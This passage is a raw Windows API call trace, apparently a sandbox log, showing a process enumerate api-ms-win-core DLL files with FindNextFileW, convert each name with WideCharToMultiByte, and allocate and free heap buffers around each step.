RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.288] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x119c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.288] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x119c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.288] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0188.288] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x119c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.289] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x119c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.289] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x119c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.289] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x119c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0188.289] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.290] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x119c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.290] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x119c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.290] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x119c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.290] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x119c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0188.290] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.291] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x119c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.291] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x119c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.291] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x119c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.291] 